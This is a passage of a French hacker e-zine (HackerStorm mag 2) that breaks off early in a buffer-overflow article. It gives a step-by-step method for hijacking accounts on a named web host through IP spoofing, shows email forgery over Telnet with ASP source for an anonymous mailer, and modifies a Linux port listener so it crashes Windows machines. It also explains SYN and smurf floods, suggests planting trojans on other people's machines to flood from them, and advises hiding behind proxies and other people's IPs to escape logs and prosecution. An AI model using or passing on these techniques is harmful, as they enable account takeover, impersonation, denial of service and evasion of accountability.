---- ---- ^ ------------------ ---- ---- ----------------- ---------------

| | | | / \ | | | / / | | | ---- \

| | | | / \ | ------------ | | / / | ------------ | | | |

| | | | / /\ \ | | | | / / | | | ---- /

| ------ | / / \ \ | | | / | ------------ | ---

| ------- | / / \ \ | | | \ | | | |\ \

| | | | / ------- \ | | | | \ \ | ------------ | | \ \

| | | | / ---------- \ | ------------ | | \ \ | ------------ | | \ \

| | | | / / \ \ | | | \ \ | | | | \ \

---- ---- ---- ---- ----------------- ---- ---- ----------------- ------- ----

-------------- ------------------- ------------------- --------------- ---- ----

| | | | | ---------- | | ------ \ | \ / |

| --------- ------- ------- | | | | | | | | | \ / |

| | | | | | | | | ------ / | \ / |

| --------- | | | | | | | --- | | \ - / | |

--------- | | | | | | | | | \ \ | | \ / | |

| | | | | | | | | | \ \ | | \ / | |

--------- | | | | | | | | | \ \ | | | |

| | | | | ---------- | | | \ \ | | | |

-------------- ----- ------------------- ----- ---- ----- -----

---------------------

- -

- ------- -

- - - -

----- - -

- -

- -------------

- -

----------------------

(le retour)

************************************************************************************

INFORMATIONS LEGALES

Cette publication éléctronique peut contenir des informations,

données et articles interdits dans certains pays. Si les

informations de cette publication sont interdites dans un pays,

il est du devoir du lecteur de vérifier qu'il a bien le droit de

posséder et de lire cette publication. Les auteurs et éditeurs

ne sont en aucun cas responsables d'une mauvaise utilisation des

informations publiées. Les informations fournies dans cette

publication sont à titre informatifs uniquement.

Toutefois, la diffusion et la lecture de ce bulletin PRIVE est

restreinte à toutes les personnes dans l'underground informatique.

Ne font pas partie de l'underground informatique tel que je le concoit

les personnes suivantes: Membres d'équipes de sécurité publiques ou

privées, personnes affiliées à des agences gouvernementales,

informateurs quelconques, responsables sécurités et toute personne

pouvant mettre un hacker en prison ou devant un tribunal.

Lire ce bulletin en n'étant pas dans l'underground informatique

constitue donc une violation des lois de Copyright et de Propriété

Intellectuelle ainsi qu'un acte de malveillance envers les auteurs et

les rédacteurs car cela revient à lire des informations propriétaires.

************************************************************************************

INFORMATIONS SUR LE GROUPE ET L'E-MAG

Nous voilà, de retour pour le 2!!! Et oui comme vous avez surement pu le deviner,

vous avez sous les yeux le nouveau HackerStorm'mag 2 !!

Le premier de nos e-mags à fait un grand succès auprès des débutants voir

même des novices. En effet, nous avons reçu de nombreux e-mails(non dû à un mail-bomb :) )

qui nous félicitaient d'avoir écrit un mag qui reprenait les principaux éléments

de la base du hacking. A la demande général, nous avons décidé de créer

un channel sur IRC. Vous pourrez donc désormais nous contacter en undernet

sur le channel #HackerStorm. De plus, beaucoup d'entre-vous nous ont demandé

pourquoi Nos-K nous a quitté. Il nous a quitté tout simplement pour former

un autre groupe après avoir appris la base du hacking dans le notre.

Voilà, sinon certains d'entre vous nous ont demandé pourquoi nous ne parlions

pas du hacking par la faille des ressources partagées de windows.

Je réponds a cette question dans un article donc rendez-vous plus bas pour la réponse.

Pour écrire un article, faire parti du groupe, être informé de toutes les dernières infos sorties,

veuillez nous contacter à HackerStorm@HotMail.Com

Voilà, sinon nous avons créé un channel en Undernet -> #HackerStorm

Nous y sommes le week-end la plupart du temps et pendant les vacances.

************************************************************************************

SOMMAIRE

I - Hacking

1 - Hacker une page Web par KoP

2 - Le fake mail via Telnet par Lauspeed

3 - Troyan sous Linux par Sboub

4 - Le Flood et le Nuke par KoP

A - Le Flood

B - Le Nuke

C - Les firewall

5 - Buffer overflow - débutant par Tipiax

6 - Exploit par Tipiax

7 - Programme de création de shell-code par KoP

II - Cracking

1 - Easy soct CD menu générateur par Alexia[SKY]

2 - WinRescue 98 V 2.04 par Alexia[SKY]

3 - Pretty HTML V2.00 par Alexia[SKY]

4 - PhotoImpact 4 Trial Version par Alexia[SKY]

5 - Comment trouver une adresse de softice(ou windasm)

qui corresponds a l'offset du fichier exe ? par eBrain

6 - Solution Du KeygenMe Par TiPiaX

III - Programmation

1 - Un client SMTP en Visual Basic par Lauspeed

2 - Programmation des sockets en C sous Linux par Sboub

A - Les sockets,qu'est ce que c'est ?

B - Ouvrir une connection

C - Envoyer et recevoir des données.

D - Fermer une connection

E - Un peu plus loin...

F - L'exemple BONUXXXX !!!

VI - Divers

1 - Les ressources partagées par KOP

2 - Emulateur NetBus en Visual-Basic par KoP

************************************************************************************

* HACKING par KoP,Lauspeed,Sboub,Tipiax *

************************************************************************************

1 - Hacker une page Web par KoP

De nombreuses personnes se ventent sur internet de pouvoir hacker des pages Web

hébergées par des servers comme Multimania.com, Chez.com,..... Ils ajoutent aussi

que n'importe qui peut le faire. Mais celà est beaucoup plus difficile que ce que vous

pourriez imaginer. Je vais donc vous fournir une technique que vous pourrez utiliser

après avoir compris quelques principes élémentaires. Pour cela, nous allons utiliser

la méthode que j'utilise pour rechercher les failles d'un serveur.

-------------------------------------------------------------------------------------------

But(s): Avoir accès aux données FTP d'une page web.

Victime(s): Les hébergeurs de pages Web utilisant les servers HTTPd

pour l'identification et le changement de Pass de l'accès FTP.

Hypothèse(s) 1: Nous pouvons, en spoofant la dernière IP du connecté,

changer le pass du compte sans avoir besoin de s'identifier.

Donnée(s): l'IP du connecté est enregistré par le Server.

Le port local utilisé pour la connection varie et le port

de connection sur le server est le 80 pour le HTTPd

et le 21 pour le FTP.

Problème(s) possible(s): L'IP du dernier connecté est remise à zéro

après un time out.

Hypothèse (2): Y a t'il un Time Out comme quoi personne ne peut plus se connecter ?

Si oui, est-ce que l'IP est remise à 127.0.0.1ou est-ce qu'il y a une variable

comme quoi plus personne ne peut se connecter ?

Procédure:

- Créer un compte sur l'hébergeur victime.

- S'identifier par le server HTTPd

- Tester si on est toujours identifié comme propriétaire de la page

pendant un certain temps en ayant la même IP(jusqu'à 30 mins).

- Si au bout de 30 minutes nous sommes toujours propriétaire

cela signifie que l'hypothèse du Time Out est fausse et que donc

il nous suffit d'avoir l'IP du dernier connecté pour nous logguer

sur le server.

Cf -> Démarche("du dernier user connecté","n'importe quand")

- Sinon nous devons tester si l'IP de connection est remise à 127.0.0.1

Pour cela nous enregistrons les données envoyées par notre client

HTTPd pour changer une option dans notre page. Ensuite, en utilisant

les Raw Sockets, nous envoyons les mêmes données logguées

au server HTTPd en prenant l'IP 127.0.0.1 après avoir dépassé le timeout.

Nous allons ensuite voir si le changement d'option s'est effectué.

Si oui, Cf -> Démarche("127.0.0.1","plus du temps du Time Out")

Si non, Cf -> Démarche("du dernier user connecté","moins du temps du Time Out")

Démarche :

Avec l'IP *1* datant de *2*, envoyez sur le port 80 du server HTTPd

votre log de changement de pass. Ainsi, le compte aura pour pass

le même que celui que vous avez changé lors de l'enregistrement du log.

Vous pourrez ainsi vous connecter sur le server FTP avec l'account et

votre pass et ainsi vous aurez hacké la page web.

Application:

Voici les datas envoyées par le client sous windows au server Multimania.com

pour la lecture de la page principale :

------------------------------------------------------------------------------------

Envoyé par le client

------------------------------------------------------------------------------------

GET / HTTP/1.1

Accept: application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg,

image/pjpeg, */*

Accept-Language: fr

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)

Host: 200.12.34.56

Connection: Keep-Alive

------------------------------------------------------------------------------------

Envoyé par le server après la demande d'une page valide

------------------------------------------------------------------------------------

HTTP/1.1 200 OK

Date: Fri, 3 Nov 2000 16:30:00 GMT

Server: Apache/1.3.12 (Unix) PHP/3.0.15

Set-Cookie: Apache=213.36.130.69.84032973874838970; path=/

X-Powered-By: PHP/3.0.15

Pragma: no-cache

Cache-Control: no-cache

Expires: Mon, 06 May 1996 04:57:00 GMT

Content-Language: fr

Upgrade: HTTP/1.1

Connection: close

Content-Type: text/html

+ SOURCE DE LA PAGE (ON S'EN FOU DANS CE TUT)

------------------------------------------------------------------------------------

Les données intéressantes sont soulignées.

Après avoir trier ces données d'entêtes, nous savons qu'il s'agit

d'un server d'HTML version 1.1 utilisant Apache/1.3.12 qui tourne sous Unix

et qui accèpte l'utilisation du PHP version 3.0.15

Il fourni des pahes Html et Text.

------------------------------------------------------------------------------------

Envoyé par le server après la demande d'une page non valide

------------------------------------------------------------------------------------

HTTP/1.1 302 Found

Date: Sat, 30 Sep 2000 11:57:15 GMT

Server: Apache/1.3.12 (Unix) mod_fastcgi/2.2.2

Location: http://www.multimania.fr/

Keep-Alive: timeout=15, max=1000

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

118

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<TITLE>302 Found</TITLE>

</HEAD><BODY>

<H1>Found</H1>

The document has moved <A HREF="http://www.multimania.fr/">here</A>.<P>

<HR>

<ADDRESS>Apache/1.3.12 Server at www.multimania.com Port 80</ADDRESS>

</BODY></HTML>

------------------------------------------------------------------------------------------------

Nous remarquons la présence d'un timeout de 15 secondes à la connection

grâce à la ligne "Keep-Alive: timeout=15, max=1000". De plus, nous voyons

qu'il s'agit d'un server "Apache/1.3.12 (Unix) mod_fastcgi/2.2.2".

Pour trouver une faille, il vous sera plus facile de posséder le server

sur votre ordinateur. Allez donc essayer de le télécharger en vérifiant

bien qu'il s'agisse du même server.

Sur le server de Multimania, le changement de pass se fait par la page

http://www.multimania.fr/general/login/login.phtml

Les données intéressantes que nous pouvons y trouver sont :

------------------------------------------------------------------------------------------------

..............................

function isFinished() {

/* Désactivé - fout la zone avec la checkbox cookie persistant

var login, password, n1, n2;

password = document.LOGINFORM._login_pw.value;

n1 = login.length;

n2 = password.length;

if ((n1 > 2) && (n2 > 5))

document.LOGINFORM.submit();

return true;

}

</SCRIPT>

..............................

..............................

..............................

------------------------------------------------------------------------------------------------

L'identification se fait grâce au fichier "general/login/login.phtml" après

avoir cliqué sur le bouton submit. Les variables envoyées sont :

- _login_nm pour le login

- _login_pw pour le password

Pour vous logguer depuis votre browser, il vous suffit d'entrer l'url :

http://www.multimania.fr/general/login/login.phtml?_login_nm=login&_login_pw=pass

en changeant login par votre login et pass par votre pass.

Vous pouvez créer un programme qui test les password mais trouver

le password de la page de cette manière risquerait de mettre pas mal

de temps en fonction du nombre le caractère que le créateur du compte à mis.

Toutefois si vous voulez créer un programme de ce type, il faut que vous sachiez

que vous avez 15 secondes pour envoyer du texte après quoi vous tomberez en

Timeout. De plus, il faut savoir que après la ligne de commande qui Post les variables

il faut envoyer 3 CrLf de suite pour que le server comprenne que se qui précède

est la commande qu'il doit executer.

Depuis peu, multimania à mis en place un système d'identification automatique par cookie.

Ceci peut être très interessant. Il suffirait de récupérer ou de lire les informations du cookie

de la personne à qui appartient la page pour connaitre les informations nécessaires et vous logguer

sur son compte.

La dernière méthode est de créer un programme qui envoi la requète de changement de password

en spoofant l'IP que le server à enregistré comme identifié avec succès(Pour savoir quelle IP spoofer

veuillez vous référer à Procédure qui a été vu plus haut). Pour cela vous avez la possibilité d'utiliser

les Raw sockets pour changer l'IP source.

Conclusion(s) après avoir fait l'application:

Nous pouvons conclure que nous avons 15 secondes maximums pour envoyer

la requête de changement de pass se qui est largement suffisant.

De plus, nous voyons après quelques testes qu'il n'y a pas de Time Out de fin

d'identification c'est à dire que nous pouvons rester connecté indéfiniment

sur le server en étant identifié propriétaire de la page avex la même IP.

La démarche à suivre pour ce server est donc:

Cf -> Démarche("du dernier user connecté","n'importe quand")

-------------------------------------------------------------------------------------------

Voilà, je vous conseille d'utiliser cette démarche pour rechercher vos exploits.

J'utilise cette technique depuis un certain temps. Pour cela j'ai créé un programme

en C/C++ Linux qui permet d'envoyer des datas en prenant l'IP que je désire grâce

aux Raw Sockets. Malheureusement pour vous, je ne vous le fournirai pas. Pourquoi ?

Tout simplement car un débutant n'est pas responsable et n'a donc pas à hacker un site Web.

Pour les personnes plus responsables, je pense qu'elles pourront se débrouiller à

programmer ça car ce n'est vraiment pas difficile avec les exemples qui sont fournis

dans ce mag(vous pouvez aussi voir coment fonctionne Cips ;) ).

Voilà, ben je pense que vous avez dû comprendre le système pour le hacking

des pages Web et que vous comprenez pourquoi un simple débutant ne peut pas

accéder à une page web comme ça. J'espère quand même que vous n'en abuserez

pas car il se pourrait qu'après trop d'attaques de ce type les administrateurs

trouvent une parade. Ah oui, n'oubliez pas que les connections FTP sont loguées

et qu'il est donc indispensable de prendre un shell, une gate ou un proxy pour ne pas avoir

de problèmes duênt à la plainte déposée par le propriétaire après une modification de la page.

By KoP

2 -Le fake mail via Telnet par Lauspeed

Le fake mail est un processus consistant à falsifier son adresse lors de l'envoie d'un mail.

On peut donc ainsi envoyer des mails purement anonymes ou bien se faire passer pour

quelqu'un d'autre. Ca permet de foutre le bordel dans une mailing liste constituée de

neuneus ou de créer des conflits, bref de se détendre un peu..... :)

Pour ce faire, nous allons utiliser Telnet, qui est un programme fourni en standard

avec Windows 95/98. Telnet est situé par défaut dans le répertoire de Windows.

Lançons ce programme. Dans le menu Terminal, nous ouvrons la fenêtre préférence

et sélectionnons la case « Echo local », afin de pouvoir visualiser ce que nous

écrivons, la case « VT 100/ANSI », qui désigne le type de terminal, et entrons

un mémoire tampon au moins égal à 25.

Ceci fait, nous pouvons commencer à nous occuper de la connexion.

Dans le menu Connexion, ouvrons la fenêtre système distant.

Dans la textbox « port », nous entrons 25, qui est le port SMTP du protocole TCP,

et dans « Type de Terminal », nous choisissons vt100. Il s'agit alors de choisir

un serveur SMTP ; on remplira la textbox « Nom d'hôte » à cet effet.

Le serveur entré par défaut est www.worldnet.net. Une fois ceci fait,

nous pouvons cliquer sur connecter. Si tout ce déroule correctement,

nous devrions recevoir une réponse du serveur du type :

« 220-admin Microsoft SMTP MAIL ready at Sat, 28 Oct 2000 14:39:42 +0200 Version: 5.5.1877.197.19

220 ESMTP spoken here ».

Comme il s'agit ici d'un serveur du type ESMTP, il faut alors taper :

« HELO ESMTP »

Le serveur va alors nous répondre par un : « 250 Admin.worldnet.net Hello [IP de ce serveur] ».

Nous passons alors au message en lui-même : (Tout ce qui est situé après l'apostrophe n'est pas à écrire.)

MAIL FROM:<toi@cheztoi.com> ' E-mail de celui pour qui nous voulons nous faire

' passer

250 <toi@cheztoi.com>...sender OK ' Réponse du serveur

RCPT TO:<victime@chezvictime.com> ' E-mail de la personne à qui on veut envoyer le

' message

250 <victime@chezvictime.com>...recipient OK ' Réponse du serveur

DATA ' Indique au serveur que nous commencons le message

354 Please enter your message body, ending with a "." on a line by itslef ' Réponse du serveur qui nous indique d'écrire

' notre message en terminant par un point

Début du message que nous voulons envoyer ' Nous écrivons le message en lui-même

.................................................................... '...

Fin du message '...

. 'et nous n'oublions pas de terminer par un point.

250 Message accepted for delivery ' Réponse du serveur

Le message a été envoyé. C'est fini.

Nous pouvons alors quitter Telnet en tapant QUIT.

P.S. : Kop m'a dit que mon article était trop court. Il a sorti le fouet, a fait sa tête de méchant

et m'a dit : Ajoute ça.... Vu que j'avais pas vraiment le choix et que j'aime pas trop me

faire taper dessus avec un fouet, je l'ai fait. :) Bref, c'est le code en ASP qui permet

à partir d'une page web d'envoyer un mail anonyme. Voila, c'est tout....

(KoP: même pas vrai, j'ai pas de fouet ;)

Pour que cette source marche, enregistrez la sous une extension .ASP(ex: mail.asp)

et mettez la sur un server Html prenant l'asp(la majorité normalement) )

COPIER/COLLER -------------------------------------------------------------------------------------------

' Anonymous Mail!

' version 1.0

' http://www.secone.com

' info@secone.com

' file: anonymous.asp

' programming: System33r / s.r.t

<% If request.form("flag")=""then %>

<HTML>

<H1>Anonymous Mailer by System33r</H1>

<H4>Please enter all the required fields or it won't be send.</H4>

<TABLE border=0 cellPadding=1 cellSpacing=1 style="HEIGHT: 184px; WIDTH: 457px"

width="75%">

<style>

<--

a:link { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

a:visited { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

a:active { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

a:hover { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

td { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

body { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

input { color:#000000; font: 7.5pt verdana; font-weight: none; text-decoration: none; background: #c0c0c0; border: 1 solid #000000; }

-->

</style>

<TR>

<TR>

<TR>

<TD>Subject: </TD>

<TR>

<TD>Body of Message: <BR></TD>

Message Body</TEXTAREA></TD></TR></TABLE> <BR> <BR> <BR><BR>

</HTML>

Else

Dim anonFrom,anonTo,anonSubj,anonBody

anonFrom = request.form("From")

anonTo = request.form("To")

anonSubj = request.form("Subject")

anonBody = request.form("Body")

Set objMail = CreateObject("CDONTS.NewMail")

objMail.From=anonFrom

objMail.To=anonTo

objMail.Subject=anonSubj

objMail.Body=anonBody

intReturn=objMail.Send()

<HTML>

<style>

<--

a:link { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

a:visited { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: underlined }

a:active { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

a:hover { color: #000080; font: 7.5pt verdana; font-weight: none; text-decoration: none }

td { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

body { color: #000000; font: 7.5pt verdana; font-weight: none; text-decoration: none }

input { color:#000000; font: 7.5pt verdana; font-weight: none; text-decoration: none; background: #c0c0c0; border: 1 solid #000000; }

-->

</style>

<H1>The message sent successfully </H1>

</HTML>

End If

---------------------------------------------------------------------------------------------------------

Voilà c'est tout. Amuser vous bien et évitez d'envoyer des mails anonymes an faisant des menaces au FBI.

Vous seriez facilement repérable, car lors de l'envoie d'un tel message, votre adresse IP

est communiqué à votre destinataire, donc....

By Lauspeed

3 - Troyan sous Linux par Sboub

Dans le Mag n°1, TIPIAX nous avait fait un petit TROYAN ENCULATOR en C++

windows, dans ce mag n°2 je l'ai porté sous LINUX et j'ai rajouté quelques fonctions...

Tout d'abord, la source brute...

COPIER/COLLER -------------------------------------------------------------------------------------------

/* !!!!!!!!!!!!!!!!!

! TROJENCULATOR !

!!!!!!!!!!!!!!!!!

By Sboub.

Ecoute d'un port en attente de connexion (BO,NETBUS etc...)

Fonctions incluses (et à inclure, notées avec *):

-> Ecoute d'un port et alerte si connexion

-> Log dans un fichier

-> Envoie d'un message (signature ou autre...) lors d'une connection

-> Nuke dans la source si désiré...

* -> Dialogue ou flood de MSGBOX pour certains trojan (Ex: Netbus)

-------------------------------------------------------------------------

J'attire l'attention du lecteur de cette source sur la ligne suivante:

send(new_fd,mon_message,strlen(mon_message),0);

Si l'on remplace le flag 0 par MSG_OOB la personne ki vous attaque

(sous daube95 of course) va être nuked !! :))

Je vous laisse le soin de changer le 0 par MSG_OOB et de balancer ça

sur le bon vieux port 139.

-------------------------------------------------------------------------

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

main(int argc,char **argv)

{

char* usage = "\nTrojenc 1.0b by Sboub !\n\n"

"Ecoute d'un port en attente de connection de trojan + toutes les options...\n"

"N.B => en cours de développement... ;)\n"

"\nUSAGE: trojenc [port] [fichierLOG|0:aucun] [Msgbox|0:non 1:oui] ['message']\n\n";

char *fichierLOG;

FILE *fichier;

char *mon_message = " !! FUCK YOU LAME, THIS IS TROJEN C FOR LINUX !! ";

int type_alerte;

int port;

int sockfd, new_fd;

int sin_size;

struct sockaddr_in my_addr;

struct sockaddr_in their_addr;

if (argc < 4) { printf(usage); return 0; }

port = atoi(argv[1]);

fichierLOG = argv[2];

type_alerte = atoi(argv[3]);

if (argv[4] != 0) { mon_message = argv[4]; }

printf("\nBIENVENUE DANS L'ATTRAPE LAMERZ ! ;)\t(codé à l'arrache bien sur !)\nBy Sboub\n\

\n\nListen en cours sur %d... (Ctrl-C pour quitter)\n\n",port);

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); exit(1); }

my_addr.sin_family = AF_INET;

my_addr.sin_port = htons(port);

my_addr.sin_addr.s_addr = INADDR_ANY;

if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1);}

if (listen(sockfd, 1) == -1) { perror("listen"); exit(1); }

while(1) /* Boucle LISTEN */

{

sin_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,&sin_size)) == -1) { perror("accept"); continue;}

printf("ALERTE ! Connexion du lamerz %s sur %d...", inet_ntoa(their_addr.sin_addr),port);

send(new_fd,mon_message,strlen(mon_message),0); // MSG_OOB à la place de 0 ca vous dit kke chose :) EXCELLENT !

close(new_fd); printf("...KILLED !\n");

if (strcmp(fichierLOG,"0")!=0)

{

fichier=fopen(fichierLOG,"a");

fprintf(fichier,"Connexion du lamerz %s sur %d...\n", inet_ntoa(their_addr.sin_addr),port);

fclose(fichier);

}

if (type_alerte == 1)

{

system("xmessage -buttons \"Ok, je vais me le faire...\" -center \"ALERTE ! Connexion d'un lamerz détectée et rejetée !\"");

}

} /* Fin boucle LISTEN */

}

---------------------------------------------------------------------------------------------------------

J'ai un petit peu commenté la source, mais pour plus de précision : #hackerstorm ou SBOUB666@hotmail.com

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!!!!! Dans le prochain mag, un bot complet pour IRC !!!!!!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

4 - Le Flood et le Nuke par KoP

De nos jours, de nombreux programmes sur le flood et le nuke sont disponibles.

Tout le monde a déjà utilisé un programme de ce type. Mais savez-vous bien

comment ces programmes fonctionnent ? Pour ma part, je définie ces 2 mots

de manière différentes. Pour moi, un flood est le fait de saturer la bande passante

d'une machine pour la faire ralentir ou déconnecter alors qu'un nuke utilise un bug

qui fait planter la machine, un port ou encore un programme server ou client qui

est destiné à communiquer avec le net.

De vais vous détailler ça dans 2 sous parties.

A - Le Flood

Le flood est de loin, le procédé le plus utilisé pour déconnecter des personnes

qui n'ont pas de bonne connection ni de firewall.

Vous pouvez flooder une personne non pas en lui envoyant des multitudes de données

mais au contraire, en lui faisant envoyer des multitudes de données tout ça en un minimum de temps.

Je m'explique:

Lorsque un trop grand nombre de données va arriver, le provider de la personne va lui envoyer

packet par packet et donc elle ne sera en aucun cas floodé à part si elle a un modem 14'400bps

dans ce cas, le modem ne pourra pas suivre et déconnectera. Mais cela reste tout de même rare.

Ceux qu'il faut, c'est donc faire envoyer des données par la personne pour qu'une des couches

(application,...,physique(modem))soit saturée ou que son provider le déconnecte pour flood.

Pour flooder, il est nécessaire de prendre connaissance d'une certaine notion.

Le coefficient de flood est égal au coefficient de réponse sur le coefficient d'envoi.

Je préfère utiliser un schéma pour vous la faire comprendre :

Exemple d'un PING - PONG :

-------------------------- -------------------------

- Envoi PING - ----------------> - Réception PING -

- Réception PONG - <---------------- - Envoi PONG -

-------------------------- -------------------------

Vous(total: 2 packets) Victime(total: 2 packets)

Le coefficient d'envoi est 2 et le coefficient de réponse est aussi 2.

Le coefficient de flood est donc de 2/2=1.

Pour flooder la personne, vous devez donc posséder une meilleur bande passante que celle-ci

et encore celle-ci ne déconnectera pas obligatoirement(délai provider).

Vous pouvez aussi, grâce à un firewall, bloquer la réception de PONG et donc faire passer

à un coefficient de flood de 2 ce qui est déjà beaucoup plus rentable car vous pouvez rivaliser

avec une connection 2 fois supérieur à la votre. Vous pouvez aussi modifier l'IP source

et ainsi vous ne recevrez jamais le PONG.

Exemple d'une connection :

-------------------------- ----------------------------

- Envoi SYN - ----------------> - Réception SYN -

- Réception ACK - <---------------- - Envoi ACK -

- Envoi SYN/ACK - ----------------> - Réception Syn/Ack -

-------------------------- ----------------------------

Vous(total: 3 packets) Distant(total: 3 packets)

Exemple d'un flood SYN :

-------------------------- ----------------------------

- Envoi SYN - ----------------> - Réception SYN -

- Packet ACK ignoré - <---------------- - Envoi ACK -

- - - Attente de Syn/Ack -

-------------------------- ----------------------------

Vous(total: 1 packets) Victime(total: 2 packets+attente+connection réservée)

Ce type de flood est donc excellent car le coefficient est de 3/1=3.

De plus lorsque le packet ACK est envoyé, le système de victime

alloue un espace mémoire pour gérer la socket qui est en train de se créer.

De plus, le système de victime se met en attente de réception de SYN/ACK.

Et ce n'est qu'après un timed out que la connection sera dite erronée.

Encore mieux, certains systèmes envoyent un packet ICMP connection error

ce qui fait passer le coefficient de flood à 4 !!!!

Ce procédé est donc excellent pour le flood.

Exemple d'une connection HTTP:

----------------------------- ----------------------------

- Envoi SYN - ----------------> - Réception SYN -

- Réception ACK - <---------------- - Envoi ACK -

- Envoi SYN/ACK - ----------------> - Réception Syn/Ack -

----------------------------- ----------------------------

- Envoi de la demande - -------------------> - Réception de la -

- de page de la forme: - <-(nbre de packets)- - demande, envoi de -

- "GET /... HTML/1.1" - - la page+des datas -

----------------------------- ----------------------------

Vous(total: 4 packets) Server(total: 4 packets+packets de la page)

(1Ko/packet maxi donc si la page fait 15 ko ;o) )

Voilà, je pense que le schéma est assez explicite. :o)

Lors d'une connection HTTP, le server envoi de nombreux packets

et ainsi le coefficient est variable en fonction de la page demandée.

Bien sûr ceci est réservé à des servers.

Un autre type de flood server: "LE SMURF"

Le smurf consiste a envoyer un packet ICMP( PING ) à une série de broadcast(sous-machine)

en mettant pour IP source, l'IP de la victime. Ainsi, la série de packets PONG au lieu

de revenir sur vous ira vers victime et comme ceci ce fait à une vitesse de réseau local,

celle-ci sera enormément ralenti, voire déconnecté.

Pour plus de renseignements sur cette méthode, veuillez-vous reporter à n'importe

qu'elle autre magazine(si vous entendez parler de yahoo dans le sommaire c'est bon ;o) ).

L'Union fait la force :

J'espère que vous avez compris ce qu'est le flood. Vous comprendrez donc que

si vous vous mettez à plusieurs pour flooder une machine, celle-ci aura plus de chances

d'être floodée. Si vous êtes 10 à envoyer des PING sur la même victime, celle-ci

prendra un coefficient de flood de 10 et aura donc très mal(façon de parler ;)).

Mais encore faut-il être plusieurs. Le mieux est encore d'installer des sortes

de trojans sur plusieurs machines qui ont pour unique but le flood.

En configurant le trojan pour flooder la même victime sur plusieurs machines,

vous pourriez flooder très facilement sans vous faire repérer car les packets

destinés au flood auraient pour IP source l'IP où le trojan est installé.

Ce procédé a donc 2 avantages.

B - Le Nuke

Je vais faire moins long pour le Nuke car ce n'est vraiment pas difficile à comprendre

surtout qu'il n'y a rien de spécial à comprendre. Comme je l'ai déjà dit, le nuke consiste

à utiliser un bug(spécifique de l'OS, du server installé,...) pour planter la machine distante.

L'un des bugs les plus connu est celui qui consiste à envoyer un message out of band

sur le port 139(pour plus d'informations -> Divers/1:Les ressources partagées par KoP) d'une

machine windows 95(version de winsock ancienne). Ceci a pour effet de planter windows.

Pour ce genre d'attaque, un seul packet est habituellement necessaire.

Un programme a été créé a cet effet, il s'agit de WinnukeV5.

Il existe bien d'autre type de nuke mais chacun d'eux est spécifique à l'OS,

aux applications pouvant recevoir des données,...

Il faut aussi parler du buffer overflow qui, avec une longueur de chaine appropriée,

permet de planter, par un écrasement de données(en mémoire), un programme ou une machine.

En connaissant la taille du buffer utilisée sur le server distant, vous pourriez créer un shell code

qui vous permettrait d'obtenir des accès dans celle-ci mais ceci sort du sujet donc pour plus

d'inforamtions sur le buffer overflow et les shell code, veuillez lire l'article Shell Code par Tipiax.

C - Les Firewall

Déjà, qu'est-ce qu'un firewall ?

Un firewall(de l'anglais nur de feu) est un logiciel qui permet d'assurer une certain sécurité

contre le flood, le nuke ou empêche la connection d'autres PC sur un de vos ports(trojan par exemple).

Il existe plusieurs type de firewall. Il y a ceux qui attendent la connection sur un port(Ex:NukeNabber) et dès

qu'une connection est établie, l'IP du connecté est loggué et la connection est immédiatement fermée.

Ex:

----------------------------------------------------------------------------------------------------------

Demande de connection ---> Connection acceptée ---> Prise des infos et ---> Fermeture de la connection

sur votre port 139 par le firewall copie dans le log

----------------------------------------------------------------------------------------------------------

Hacker Vous Vous Vous et Hacker

----------------------------------------------------------------------------------------------------------

Il y a aussi les firewall qui intercèptent toutes les demandes de connection ainsi que les ICMP

(ex: Conseal PC Firewall)et vérifient qu'elles ont droit de passer sur votre PC.

Si oui, il les laisse passer, si non, il les détruit en le mettant dans le log ou encore s'il ne sait pas,

il vous demande. Ces firewall offrent une sécurité supérieur lorsqu'ils sont bien configurés.

Ce type de firewall protège des attaques Syn contrairement au premier.

La seule faille que l'on peut remarquer dans les firewall est le fait qu'ils bloquent les connections.

En fait, se qu'ils bloquent est le packet Syn de demande de connection. Un packet Ack pourrait donc

très bien passer au travers de ces firewall. Un trojan bien programmé pourrait récupérer le packet

et l'interpréter sans que personne ne soit au courant. Il s'agit donc d'une faille très importante

et, à ma connaissance, il n'existe pas de firewall qui bloquent ce type de packets.

Voilà, j'espère que vous faites bien la différence entre le Flood et le Nuke.

Néanmoins, j'espère que vous ne n'utiliserez pas vos nouvelles connaissances

car, de ce fait, vous deviendrez un crasher et ainsi deviendrez l'ennemi de nombreux hackers.

Il faut aussi que vous sachiez que si quelqu'un porte plainte contre vous pour nuke ou flood

en montrant le log de son firewall, cela peut vous couter très cher donc si vous devez absolument

flooder ou nuker quelqu'un utiliser une autre IP, un trojan(voir "L'Union fait la force") ou encore

une gate qui devrait normalement assurer votre confidentialité.

Voilà, si vous voulez me poser des questions, veuillez me contacter à KoP@HackerStorm.Com

By KoP

5 - Buffer overflow - débutant par Tipiax

On va tout d'abord s'initier à la notion de buffer overflow. (BO).

Un BO est pour ceux qui ne pratiquent pas l'anglais, un débordement de mémoire.

C'est à dire qu'un programme va faire déborder un endroit où il a le droit d'écrire

pour écrire là où il n'a pas le droit.

